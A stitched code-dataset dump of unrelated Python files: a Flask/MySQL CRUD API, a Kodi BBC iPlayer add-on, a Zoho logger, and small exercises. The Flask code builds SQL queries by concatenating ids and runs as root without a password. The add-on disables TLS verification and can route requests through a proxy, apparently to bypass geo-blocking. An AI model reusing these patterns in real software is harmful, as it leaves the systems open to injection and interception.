","repo_name":"Ayodhya-98/Python-To-do-list","sub_path":"todoapp.py","file_name":"todoapp.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21066340548","text":"# sys for argument acceptance, math for operations\nimport sys\nimport math\n\n# Globals\n# earth radius in meters (6.37 million)\nr_earth = 6370000\n# speed of light in m/s\nc_speed = 299792458\n# constant in meters per second, squared\ngrav_const = 9.80665\n\n\ndef printOutput(alt, iter, time_total, vel_total, inc_count):\n print(\"Altitude: \", alt, \"m | \", \"Iterator: \", iter, \" m\")\n print(\"Time (hrs): \", round((time_total / 3600), 2), \" hrs\")\n print(\"Time total: \", round(time_total, 2), \" s\")\n print(\"Final velocity: \", round(vel_total, 3), \" m/s | \", round((vel_total / c_speed), 3), \"c\")\n print(\"Speed of light: \", c_speed, \" m/s\")\n print(\"Iterations: \", inc_count)\n\ndef calcGravity(alt_inc):\n grav_new = ((r_earth / (r_earth + alt_inc)) ** 2)\n grav_new *= grav_const\n return grav_new\n\ndef calcTime(time_inc, iter, grav_new, vel_inc):\n time_inc = -((math.sqrt((2 * iter * grav_new) + math.pow(vel_inc, 2)) + vel_inc) / grav_new)\n # time_inc = math.sqrt((2 * iter) / grav_new)\n return time_inc\n\ndef calcVelocity(grav_new, time_inc):\n vel_inc = (grav_new * time_inc)\n return vel_inc\n\n\ndef main(iter, alt):\n\n # cast arguments to floats to avoid bugs\n # convert kilometers to meters\n alt = alt * 1000\n # already in meters or fractions of meters\n\n inc_count = 0 # iteration counter for debugging\n\n alt_inc = alt # assign total altitude to counter variable\n\n grav_new = calcGravity(alt_inc) # initial gravity at 0 velocity\n\n time_inc = 0 # time increment in fractions of seconds\n time_total = 0 # time totaled from increments\n\n vel_inc = calcVelocity(grav_new, time_inc) # velocity at each step\n vel_total = 0 # total velocity summed from acceleration operations\n\n while (alt_inc > 0):\n # import pdb; pdb.set_trace() # start debug\n\n # find time taken to travel iter given grav_new\n time_inc = calcTime(time_inc, iter, grav_new, vel_inc)\n\n # add time increment to total\n time_total += time_inc\n\n # find new altitude\n alt_inc -= iter\n\n # re-evaluate gravity at new altitude\n grav_new = calcGravity(alt_inc)\n\n vel_inc = calcVelocity(grav_new, time_inc)\n\n vel_total += vel_inc\n\n inc_count += 1\n\n # if (inc_count < 10):\n # print(time_inc, \"\\n\", time_total)\n # /while\n\n printOutput(alt, iter, time_total, vel_total, inc_count)\n# /main\n\nmain(sys.argv[1], sys.argv[2])\n\n# py timeforacceleration.py .1 400\n","repo_name":"thespacemans/misc_stuff","sub_path":"FreefallCalc/timeforaccelerationv2.py","file_name":"timeforaccelerationv2.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14690185032","text":"try:\n import logging\n from zcrmsdk.src.com.zoho.crm.api.exception.sdk_exception import SDKException\n from ...crm.api.util.constants import Constants\nexcept:\n from ...crm.api.util.constants import Constants\n from zcrmsdk.src.com.zoho.crm.api.exception import SDKException\n\n\nclass Logger(object):\n\n \"\"\"\n This class represents the Logger level and the file path.\n \"\"\"\n\n def __init__(self, level, file_path=None):\n self.__level = level\n self.__file_path = file_path\n\n def get_level(self):\n \"\"\"\n This is a getter method to get __level.\n\n Returns:\n string: A enum representing __level\n \"\"\"\n\n return self.__level\n\n def get_file_path(self):\n \"\"\"\n This is a getter method to get __file_path.\n\n Returns:\n string: A string representing __file_path\n \"\"\"\n\n return self.__file_path\n\n @staticmethod\n def get_instance(level, file_path=None):\n\n \"\"\"\n Creates an Logger class instance with the specified log level and file path.\n :param level: A Levels class instance containing the log level.\n :param file_path: A str containing the log file path.\n :return: A Logger class instance.\n \"\"\"\n\n return Logger(level=level, file_path=file_path)\n\n import enum\n\n class Levels(enum.Enum):\n\n \"\"\"\n This class represents the possible logger levels\n \"\"\"\n\n CRITICAL = logging.CRITICAL\n ERROR = logging.ERROR\n WARNING = logging.WARNING\n INFO = logging.INFO\n DEBUG = logging.DEBUG\n NOTSET = logging.NOTSET\n\n\nclass SDKLogger(object):\n\n \"\"\"\n The class to initialize the SDK logger.\n \"\"\"\n\n def __init__(self, logger_instance):\n\n logger = logging.getLogger('SDKLogger')\n logger_level = logger_instance.get_level()\n logger_file_path = logger_instance.get_file_path()\n if logger_level is not None and logger_level != logging.NOTSET and logger_file_path is not None and logger_file_path != \"\":\n file_handler = logging.FileHandler(logger_file_path)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(module)s - %(filename)s - %(funcName)s - %(lineno)d - %(message)s')\n file_handler.setLevel(logger_level.name)\n file_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n if logger_level is not None and Constants.LOGGER_LEVELS.__contains__(logger_level.name):\n logger.setLevel(logger_level.name)\n\n @staticmethod\n def initialize(logger_instance):\n try:\n SDKLogger(logger_instance=logger_instance)\n except Exception as ex:\n raise SDKException(message=Constants.LOGGER_INITIALIZATION_ERROR, Exception=ex)\n","repo_name":"zoho/zohocrm-python-sdk-2.1","sub_path":"zcrmsdk/src/com/zoho/api/logger/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"35850359968","text":"# -*- coding: utf-8 -*-\n\n#Use Quicksort to sort given collection by desired coordinate\ndef partition(alist, i):\n count = 0\n li = [] \n mid_pos = (len(alist)+1)//2\n mid_element = alist[mid_pos-1]\n if alist[0][i] < mid_element[i] < alist[-1][i] \\\n or alist[-1][i] < mid_element[i] < alist[0][i]:\n alist[0], alist[mid_pos-1] = alist[mid_pos-1], alist[0]\n if alist[0][i] < alist[-1][i] < mid_element[i] \\\n or mid_element[i] < alist[-1][i] < alist[0][i]:\n alist[0], alist[-1] = alist[-1], alist[0]\n start = 0\n pivot = alist[start]\n pindex = start+1\n for j in range(start+1, len(alist)):\n count = count + 1\n if alist[j][i] < pivot[i]:\n alist[j], alist[pindex] = alist[pindex], alist[j]\n pindex += 1\n li.append(count)\n alist[start], alist[pindex-1] = alist[pindex-1], alist[start]\n return alist[:pindex], alist[pindex:]\n\ndef quicksort(alist, i):\n start = 0\n end = len(alist)-1\n if start msgcount:\n bigperson = key\n msgcount = value\n\nprint(bigperson, msgcount)\n","repo_name":"samtaitai/py4e","sub_path":"exercise0904.py","file_name":"exercise0904.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73172410348","text":"from rest_framework import serializers\nfrom rest_framework.serializers import ModelSerializer, Serializer\n\nfrom .models import Accounts\n\nclass AccountSerializer(ModelSerializer):\n\n class Meta:\n model = Accounts\n fields = (\n 'id',\n 'label',\n )\n read_only_fields = (\n 'id',\n )\n","repo_name":"ashraful-ic/accounts","sub_path":"accounts/transaction/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71925465067","text":"\nfrom flask import Flask, render_template, jsonify,request\nfrom flask_mysqldb import MySQL\nfrom flask_cors import CORS, cross_origin\n\napp = Flask(__name__) #variables globales\ncors= CORS(app)\n\n#configuracion de MySQL\napp.config['CORS_HEADERS'] ='Content-Type'\napp.config['MYSQL_HOST']= 'localhost'\napp.config['MYSQL_USER']= 'root'\napp.config['MYSQL_PASSWORD']= ''\napp.config['MYSQL_DB']= 'system'\n\n#inicializar\nmysql = MySQL(app)\n\n\n@app.route('/api/customers') #se usa GET\n@cross_origin() #permite que se pueda llamar de puertos y paginas web diferentes\ndef getAllCustomers():\n\n cur=mysql.connection.cursor()\n cur.execute('SELECT * FROM customers')\n data = cur.fetchall()#traemos todo lo que hallamos consultado\n result= []\n for row in data:\n content = {\n 'id':row[0],\n 'Nombre' : row[1], \n 'Apellido':row[2], \n 'email' : row[3], \n 'telefono' :row[4] , \n 'direccion': row[5]\n }\n\n result.append(content)\n return jsonify(result)#funcion que convierte el resultado en json\n \n\n@app.route('/api/customers/')# _se usa GET(siempre que llamamos a una URL)\n@cross_origin()\ndef getCustomer(id): \n cur=mysql.connection.cursor()\n cur.execute('SELECT * FROM customers WHERE id ='+ str(id))\n data = cur.fetchall()#traemos todo lo que hallamos consultado\n content={}\n for row in data:\n content = {\n 'id':row[0],\n 'Nombre' : row[1], \n 'Apellido':row[2], \n 'email' : row[3], \n 'telefono' :row[4] , \n 'direccion': row[5]\n \n }\n \n return jsonify(content)#funcion que convierte el resultado en json\n \n\n@app.route('/api/customers',methods=['POST']) #Se una POST\n\n@cross_origin()\ndef createCustomer():\n\n\n if 'id' in request.json: #buscara si en la request hay id si lo hay modifica y sino crea\n updateCustomer()\n else:\n createCustomer()\n\n return 'ok' \n\ndef createCustomer(): \n cur= mysql.connection.cursor()#devuelve objeto que nos permite modificar la BD\n cur.execute(\"INSERT INTO `customers` (`id`, `nombre`, `apellido`, `email`, `telefono`, `direccion`) VALUES (NULL, %s, %s, %s, %s, %s);\", \n (request.json['nombre'], request.json['apellido'], request.json['email'], request.json['telefono'], request.json['direccion']))\n mysql.connection.commit()#Empaqueta los llamados y los envia a la bd\n return 'Cliente Guardado'\n\ndef updateCustomer(): \n cur= mysql.connection.cursor()#devuelve objeto que nos permite modificar la BD\n cur.execute(\"UPDATE `customers` SET `nombre` = %s, `apellido` = %s, `email` = %s, `telefono` = %s, `direccion` = %s WHERE `customers`.`id` = %s;\",\n (request.json['nombre'], request.json['apellido'], request.json['email'], request.json['telefono'], request.json['direccion'], request.json['id'])) \n mysql.connection.commit()#Empaqueta los llamados y los envia a la bd\n return 'Cliente Guardado'\n\n\n\n\n@app.route('/api/customers/',methods=['DELETE']) #Se una POST(y se usa el ID para poder eliminar un cliente en especifico y no a todos los clientes \"pensar en el where de la bd\")\n@cross_origin()\ndef removeCustomer(id):\n cur= mysql.connection.cursor()#devuelve objeto que nos permite modificar la BD\n cur.execute(\"DELETE FROM `customers` WHERE `customers`.`id` = \"+str(id) +\";\")#convertimos el id (que es int) en un str y lo hacemos dinamico (para que no solo reciba un id sino que pueda pasarse cualquiera)\n mysql.connection.commit()\n return 'Cliente Eliminado'\n\n\n\n@app.route('/')#ruta por defecto\n@cross_origin()\n\ndef index():\n return render_template('index.html')\n\n\n@app.route('//')\n@cross_origin()\ndef publicFile(path):\n return render_template(path)\n\n\nif __name__ == '__main__':\n app.run(None, 3000, True)","repo_name":"J-o-s-eandres/crud-flask","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32047469213","text":"# -*- coding: utf-8 -*-\n\nfrom xbmcswift2 import Plugin, ListItem\nfrom xbmcswift2 import actions\nimport xbmc,xbmcaddon,xbmcvfs,xbmcgui,xbmcplugin\nimport re\nimport requests,urllib\nimport os,sys\nimport xml.etree.ElementTree as ET\nimport base64\nimport datetime\nimport random\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nplugin = Plugin()\nbig_list_view = False\n\ndef log(v):\n xbmc.log(repr(v),xbmc.LOGERROR)\n\ndef get_icon_path(icon_name):\n addon_path = xbmcaddon.Addon().getAddonInfo(\"path\")\n return os.path.join(addon_path, 'resources', 'img', icon_name+\".png\")\n\ndef remove_formatting(label):\n label = re.sub(r\"\\[/?[BI]\\]\",'',label)\n label = re.sub(r\"\\[/?COLOR.*?\\]\",'',label)\n return label\n\ndef escape( str ):\n str = str.replace(\"'\",\"'\")\n str = str.replace(\"&\", \"&\")\n str = str.replace(\"<\", \"<\")\n str = str.replace(\">\", \">\")\n str = str.replace(\"\\\"\", \""\")\n return str\n\ndef unescape( str ):\n str = str.replace(\"<\",\"<\")\n str = str.replace(\">\",\">\")\n str = str.replace(\""\",\"\\\"\")\n str = str.replace(\"&\",\"&\")\n str = str.replace(\"'\",\"'\")\n str = str.replace(\"'\",\"'\")\n return str\n\ndef get(url,proxy=False):\n headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0'}\n if proxy:\n headers['Referer'] = 'http://www.justproxy.co.uk/'\n url = 'http://www.justproxy.co.uk/index.php?q=%s' % base64.b64encode(url)\n #log(url)\n try:\n #llog((\"GGG\",url))\n r = requests.get(url,headers=headers,verify=False)\n #llog((\"RRR\",r))\n except:\n return\n if r.status_code != requests.codes.ok:\n return\n html = r.content\n #log(html)\n return html\n\n@plugin.route('/reset_cached')\ndef reset_cached():\n cached = plugin.get_storage('cached')\n cached.clear()\n\n@plugin.route('/schedule//')\ndef schedule(url,name):\n data = get(url)\n schedule = ET.fromstring(data)\n days = schedule.findall(\"day\")\n items = []\n if plugin.get_setting('autoplay') == 'true':\n autoplay = True\n action = \"autoplay\"\n else:\n autoplay = False\n action = \"list\"\n for day in days:\n first = True\n broadcasts = day[0]\n for broadcast in broadcasts:\n pid = broadcast.find(\"pid\").text\n start = broadcast.find(\"start\").text\n if first:\n date = start[0:10]\n first = False\n items.append({\n 'label' : \"[COLOR yellow][B]%s[/B][/COLOR]\" % date,\n 'thumbnail' : get_icon_path(\"calendar\"),\n 'path' : '',\n 'is_playable' : False,\n })\n end = broadcast.find(\"end\").text\n programme = broadcast.find(\"programme\")\n is_available = programme.find(\"is_available_mediaset_pc_sd\").text\n pid = programme.find(\"pid\").text\n display_titles = programme.find(\"display_titles\")\n image = programme.find(\"image\")\n image_pid = image.find(\"pid\").text\n title = display_titles.find(\"title\").text\n subtitle = display_titles.find(\"subtitle\").text\n if subtitle == None:\n subtitle = \"\"\n else:\n subtitle = \"- %s\" % subtitle\n NAME = \"[COLOR dimgray]%s-%s[/COLOR] %s %s\" % (start[11:16],end[11:16],title,subtitle)\n episode_url = 'http://www.bbc.co.uk/iplayer/episode/%s' % pid\n thumbnail = 'https://ichef.bbci.co.uk/images/ic/336x189/%s.jpg' % image_pid\n play_name = \"%s %s\" % (title,subtitle)\n if is_available == \"1\":\n URL = plugin.url_for('play_episode',url=episode_url,name=play_name,thumbnail=thumbnail,action=action)\n NAME = \"[COLOR %s]%s[/COLOR]\" % (remove_formatting(plugin.get_setting('catchup.colour')),NAME)\n else:\n URL = plugin.url_for('schedule',url=url, name=name)\n context_items = []\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Add Favourite', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(add_favourite, name=play_name, url=episode_url, thumbnail=thumbnail, is_episode=True))))\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Add to PVR', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(add_pvr, name=play_name, url=episode_url, thumbnail=thumbnail, is_episode=True))))\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Cache', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for('play_episode',url=episode_url,name=play_name,thumbnail=thumbnail,action=\"cache\"))))\n items.append({\n 'label' : NAME,\n 'thumbnail' : thumbnail,\n 'path' : URL,\n 'is_playable' : autoplay,\n 'context_menu': context_items,\n })\n\n return items\n\n@plugin.route('/schedule_period///')\ndef schedule_period(url,name,thumbnail):\n items = []\n for period in [\"today\",\"tomorrow\",\"yesterday\",\"this_week\",\"next_week\",\"last_week\"]:\n icon = 'special://home/addons/plugin.audio.bbc/resources/img/%s.png' % id\n URL = url.replace('today',period)\n items.append({\n 'label' : \"%s - %s\" % (name,period.replace('_',' ').title()),\n 'thumbnail' : icon,\n 'path' : plugin.url_for('schedule',url=URL, name=name),\n 'is_playable' : False\n })\n return items\n\n@plugin.route('/schedules')\ndef schedules():\n channels = [\n ('bbc_one_hd', \"BBC One\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/hd/today.xml\"),\n ('bbc_two_hd', \"BBC Two\", \"http://www.bbc.co.uk/bbctwo/programmes/schedules/hd/today.xml\"),\n ('bbc_four_hd', \"BBC Four\", \"http://www.bbc.co.uk/bbcfour/programmes/schedules/today.xml\"),\n ('bbc_news24', \"BBC News\", \"http://www.bbc.co.uk/bbcnews/programmes/schedules/today.xml\"),\n ('bbc_parliament', \"BBC Parliament\", \"http://www.bbc.co.uk/bbcparliament/programmes/schedules/today.xml\"),\n ('cbbc_hd', \"CBBC\", \"http://www.bbc.co.uk/cbbc/programmes/schedules/today.xml\"),\n ('cbeebies_hd', \"CBeebies\", \"http://www.bbc.co.uk/cbeebies/programmes/schedules/today.xml\"),\n ('bbc_alba', \"Alba\", \"http://www.bbc.co.uk/bbcalba/programmes/schedules/today.xml\"),\n ('s4cpbs', \"S4C\", \"http://www.bbc.co.uk/s4c/programmes/schedules/today.xml\"),\n ('bbc_one_hd', \"BBC One Cambridgeshire\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/cambridge/today.xml\"),\n ('bbc_one_hd', \"BBC One Channel Islands\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/channel_islands/today.xml\"),\n ('bbc_one_hd', \"BBC One East\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/east/today.xml\"),\n ('bbc_one_hd', \"BBC One East Midlands\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/east_midlands/today.xml\"),\n ('bbc_one_hd', \"BBC One Yorks & Lincs\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/east_yorkshire/today.xml\"),\n ('bbc_one_hd', \"BBC One HD\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/hd/today.xml\"),\n ('bbc_one_hd', \"BBC One London\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/london/today.xml\"),\n ('bbc_one_hd', \"BBC One Northern Ireland\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/ni/today.xml\"),\n ('bbc_one_hd', \"BBC One Northern Ireland HD\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/ni_hd/today.xml\"),\n ('bbc_one_hd', \"BBC One North East & Cumbria\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/north_east/today.xml\"),\n ('bbc_one_hd', \"BBC One North West\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/north_west/today.xml\"),\n ('bbc_one_hd', \"BBC One Oxfordshire\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/oxford/today.xml\"),\n ('bbc_one_hd', \"BBC One Scotland\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/scotland/today.xml\"),\n ('bbc_one_hd', \"BBC One Scotland HD\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/scotland_hd/today.xml\"),\n ('bbc_one_hd', \"BBC One South\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/south/today.xml\"),\n ('bbc_one_hd', \"BBC One South East\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/south_east/today.xml\"),\n ('bbc_one_hd', \"BBC One South West\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/south_west/today.xml\"),\n ('bbc_one_hd', \"BBC One Wales\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/wales/today.xml\"),\n ('bbc_one_hd', \"BBC One Wales HD\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/wales_hd/today.xml\"),\n ('bbc_one_hd', \"BBC One West\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/west/today.xml\"),\n ('bbc_one_hd', \"BBC One West Midlands\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/west_midlands/today.xml\"),\n ('bbc_one_hd', \"BBC One Yorkshire\", \"http://www.bbc.co.uk/bbcone/programmes/schedules/yorkshire/today.xml\"),\n ('bbc_two_hd', \"BBC Two Wales\", \"http://www.bbc.co.uk/bbctwo/programmes/schedules/wales/today.xml\"),\n ('bbc_two_hd', \"BBC Two Scotland\", \"http://www.bbc.co.uk/bbctwo/programmes/schedules/scotland/today.xml\"),\n ('bbc_two_hd', \"BBC Two England\", \"http://www.bbc.co.uk/bbctwo/programmes/schedules/england/today.xml\"),\n ('bbc_two_hd', \"BBC Two Northern Ireland\", \"http://www.bbc.co.uk/bbctwo/programmes/schedules/ni/today.xml\"),\n ]\n items = []\n for id, name, url in channels:\n icon = 'special://home/addons/plugin.audio.bbc/resources/img/%s.png' % id\n items.append({\n 'label' : name,\n 'thumbnail' : icon,\n 'path' : plugin.url_for('schedule_period',url=url, name=name, thumbnail=icon),\n 'is_playable' : False\n })\n\n return items\n\n@plugin.route('/red_button')\ndef red_button():\n items = []\n device = 'abr_hdtv'\n provider = 'ak'\n for suffix in ['','b']:\n for i in range(1,25):\n id = \"sport_stream_%02d%s\" % (i,suffix)\n name = \"Red Button %02d%s\" % (i,suffix)\n url='http://a.files.bbci.co.uk/media/live/manifesto/audio_video/webcast/hls/uk/%s/%s/%s.m3u8' % (device, provider, id)\n icon = 'special://home/addons/plugin.audio.bbc/resources/img/red_button.png'\n if plugin.get_setting('autoplay') == 'true':\n items.append({\n 'label' : name,\n 'thumbnail' : icon,\n 'path' : url,\n 'is_playable' : True\n })\n else:\n items.append({\n 'label' : name,\n 'thumbnail' : icon,\n 'path' : plugin.url_for('live_list',url=url, name=name, thumbnail=icon),\n 'is_playable' : False\n })\n return items\n\n@plugin.route('/make_playlist')\ndef make_playlist():\n hd = [\n ('bbc_one_hd', 'BBC One'),\n ('bbc_two_hd', 'BBC Two'),\n ('bbc_four_hd', 'BBC Four'),\n ('cbbc_hd', 'CBBC'),\n ('cbeebies_hd', 'CBeebies'),\n ('bbc_one_scotland_hd', 'BBC One Scotland'),\n ('bbc_one_northern_ireland_hd', 'BBC One Northern Ireland'),\n ('bbc_one_wales_hd', 'BBC One Wales'),\n\n ]\n sd = [\n ('bbc_news24', 'BBC News Channel'),\n ('bbc_parliament', 'BBC Parliament'),\n ('bbc_alba', 'Alba'),\n ('s4cpbs', 'S4C'),\n ('bbc_two_scotland', 'BBC Two Scotland'),\n ('bbc_two_northern_ireland_digital', 'BBC Two Northern Ireland'),\n ('bbc_two_wales_digital', 'BBC Two Wales'),\n ('bbc_two_england', 'BBC Two England'),\n ('bbc_one_london', 'BBC One London'),\n ('bbc_one_cambridge', 'BBC One Cambridge'),\n ('bbc_one_channel_islands', 'BBC One Channel Islands'),\n ('bbc_one_east', 'BBC One East'),\n ('bbc_one_east_midlands', 'BBC One East Midlands'),\n ('bbc_one_east_yorkshire', 'BBC One East Yorkshire'),\n ('bbc_one_north_east', 'BBC One North East'),\n ('bbc_one_north_west', 'BBC One North West'),\n ('bbc_one_oxford', 'BBC One Oxford'),\n ('bbc_one_south', 'BBC One South'),\n ('bbc_one_south_east', 'BBC One South East'),\n ('bbc_one_west', 'BBC One West'),\n ('bbc_one_west_midlands', 'BBC One West Midlands'),\n ('bbc_one_yorks', 'BBC One Yorks')\n ]\n\n items = []\n\n device = 'abr_hdtv'\n provider = 'ak'\n urls = []\n for id, name in hd :\n url='http://a.files.bbci.co.uk/media/live/manifesto/audio_video/simulcast/hls/uk/%s/%s/%s.m3u8' % (device, provider, id)\n urls.append((name,url))\n device = 'hls_mobile_wifi'\n for id, name in sd :\n url='http://a.files.bbci.co.uk/media/live/manifesto/audio_video/simulcast/hls/uk/%s/%s/%s.m3u8' % (device, provider, id)\n urls.append((name,url))\n\n playlist = xbmcvfs.File('special://profile/addon_data/plugin.audio.bbc/BBC.m3u8','wb')\n playlist.write('#EXTM3U\\n')\n for name,url in urls:\n html = get(url)\n match=re.compile('#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=(.+?),CODECS=\"(.+?)\",RESOLUTION=(.+?)\\n(.+?)$',flags=(re.DOTALL | re.MULTILINE)).findall(html)\n for bandwidth,codec,resolution,stream_url in sorted(match, key=lambda x: int(x[0]), reverse=True):\n if bandwidth <= plugin.get_setting('live.bandwidth'):\n playlist.write('#EXTINF:0,%s\\n%s\\n' % (name,stream_url))\n break\n playlist.close()\n\n\n\n@plugin.route('/live')\ndef live():\n channel_list = [\n ('bbc_radio_one', 'BBC Radio 1'),\n ('bbc_1xtra', 'BBC Radio 1Xtra'),\n ('bbc_radio_two', 'BBC Radio 2'),\n ('bbc_radio_three', 'BBC Radio 3'),\n ('bbc_radio_fourfm', 'BBC Radio 4 FM'),\n ('bbc_radio_fourlw', 'BBC Radio 4 LW'),\n ('bbc_radio_four_extra', 'BBC Radio 4 Extra'),\n ('bbc_radio_five_live', 'BBC Radio 5 live'),\n ('bbc_radio_five_live_sports_extra', 'BBC Radio 5 live sports extra'),\n ('bbc_6music', 'BBC Radio 6 Music'),\n ('bbc_asian_network', 'BBC Asian Network'),\n ('bbc_radio_scotland_fm', 'BBC Radio Scotland'),\n ('bbc_radio_nan_gaidheal', u'BBC Radio nan Gàidheal'),\n ('bbc_radio_ulster', 'BBC Radio Ulster'),\n ('bbc_radio_foyle', 'BBC Radio Foyle'),\n ('bbc_radio_wales_fm', 'BBC Radio Wales'),\n ('bbc_radio_cymru', 'BBC Radio Cymru'),\n ('bbc_radio_berkshire', 'BBC Radio Berkshire'),\n ('bbc_radio_bristol', 'BBC Radio Bristol'),\n ('bbc_radio_cambridge', 'BBC Radio Cambridgeshire'),\n ('bbc_radio_cornwall', 'BBC Radio Cornwall'),\n ('bbc_radio_coventry_warwickshire', 'BBC Coventry & Warwickshire'),\n ('bbc_radio_cumbria', 'BBC Radio Cumbria'),\n ('bbc_radio_derby', 'BBC Radio Derby'),\n ('bbc_radio_devon', 'BBC Radio Devon'),\n ('bbc_radio_essex', 'BBC Essex'),\n ('bbc_radio_gloucestershire', 'BBC Radio Gloucestershire'),\n ('bbc_radio_guernsey', 'BBC Radio Guernsey'),\n ('bbc_radio_hereford_worcester', 'BBC Hereford & Worcester'),\n ('bbc_radio_humberside', 'BBC Radio Humberside'),\n ('bbc_radio_jersey', 'BBC Radio Jersey'),\n ('bbc_radio_kent', 'BBC Radio Kent'),\n ('bbc_radio_lancashire', 'BBC Radio Lancashire'),\n ('bbc_radio_leeds', 'BBC Radio Leeds'),\n ('bbc_radio_leicester', 'BBC Radio Leicester'),\n ('bbc_radio_lincolnshire', 'BBC Radio Lincolnshire'),\n ('bbc_london', 'BBC Radio London'),\n ('bbc_radio_manchester', 'BBC Radio Manchester'),\n ('bbc_radio_merseyside', 'BBC Radio Merseyside'),\n ('bbc_radio_newcastle', 'BBC Newcastle'),\n ('bbc_radio_norfolk', 'BBC Radio Norfolk'),\n ('bbc_radio_northampton', 'BBC Radio Northampton'),\n ('bbc_radio_nottingham', 'BBC Radio Nottingham'),\n ('bbc_radio_oxford', 'BBC Radio Oxford'),\n ('bbc_radio_sheffield', 'BBC Radio Sheffield'),\n ('bbc_radio_shropshire', 'BBC Radio Shropshire'),\n ('bbc_radio_solent', 'BBC Radio Solent'),\n ('bbc_radio_somerset_sound', 'BBC Somerset'),\n ('bbc_radio_stoke', 'BBC Radio Stoke'),\n ('bbc_radio_suffolk', 'BBC Radio Suffolk'),\n ('bbc_radio_surrey', 'BBC Surrey'),\n ('bbc_radio_sussex', 'BBC Sussex'),\n ('bbc_tees', 'BBC Tees'),\n ('bbc_three_counties_radio', 'BBC Three Counties Radio'),\n ('bbc_radio_wiltshire', 'BBC Wiltshire'),\n ('bbc_wm', 'BBC WM 95.6'),\n ('bbc_radio_york', 'BBC Radio York'),\n ]\n items = []\n for id, name in channel_list:\n location = \"uk\"\n quality = \"sbr_high\"\n provider_url = \"ak\"\n url = 'http://a.files.bbci.co.uk/media/live/manifesto/audio/simulcast/hls/%s/%s/%s/%s.m3u8' % (location, quality, provider_url, id)\n items.append({\n 'label' : name,\n 'thumbnail' : \"\",\n 'path' : url,\n 'is_playable' : True\n })\n return items\n\n\n@plugin.route('/play_live///')\ndef play_live(url,name,thumbnail):\n html = get(url)\n match=re.compile('#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=(.+?),CODECS=\"(.+?)\",RESOLUTION=(.+?)\\n(.+?)$',flags=(re.DOTALL | re.MULTILINE)).findall(html)\n for bandwidth,codec,resolution,url in sorted(match, key=lambda x: int(x[0]), reverse=True):\n #label = \"%s [%s bps] %s\" % (name,bandwidth,resolution)\n if bandwidth <= plugin.get_setting('live.bandwidth'):\n item = {\n 'label' : name,\n 'thumbnail' : thumbnail,\n 'path' : url,\n 'is_playable' : True\n }\n return plugin.set_resolved_url(item)\n\n@plugin.route('/live_list///')\ndef live_list(url,name,thumbnail):\n html = get(url)\n items = []\n match=re.compile('#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=(.+?),CODECS=\"(.+?)\",RESOLUTION=(.+?)\\n(.+?)$',flags=(re.DOTALL | re.MULTILINE)).findall(html)\n for bandwidth,codec,resolution,url in sorted(match, key=lambda x: int(x[0]), reverse=True):\n label = \"%s [%s bps] %s\" % (name,bandwidth,resolution)\n items.append({\n 'label' : label,\n 'thumbnail' : thumbnail,\n 'path' : url,\n 'is_playable' : True\n })\n return items\n\n@plugin.route('/proxy_play_episode////')\ndef proxy_play_episode(url,name,thumbnail,action):\n html = get(url)\n vpid = ''\n match = re.search(r'mediator.bind\\((.*?), document\\.getElementById\\(\\'tviplayer\\'\\)\\);', html, re.DOTALL)\n if match:\n data = match.group(1)\n import json\n json_data = json.loads(data)\n # print json.dumps(json_data, indent=2, sort_keys=True)\n name = json_data['episode']['title']\n description = json_data['episode']['synopses']['large']\n image = json_data['episode']['images']['standard'].replace('{recipe}','832x468')\n for stream in json_data['episode']['versions']:\n if ((stream['kind'] == 'original') or\n (stream['kind'] == 'iplayer-version')):\n vpid = stream_id_st = stream['id']\n\n if not vpid:\n return\n\n NEW_URL= 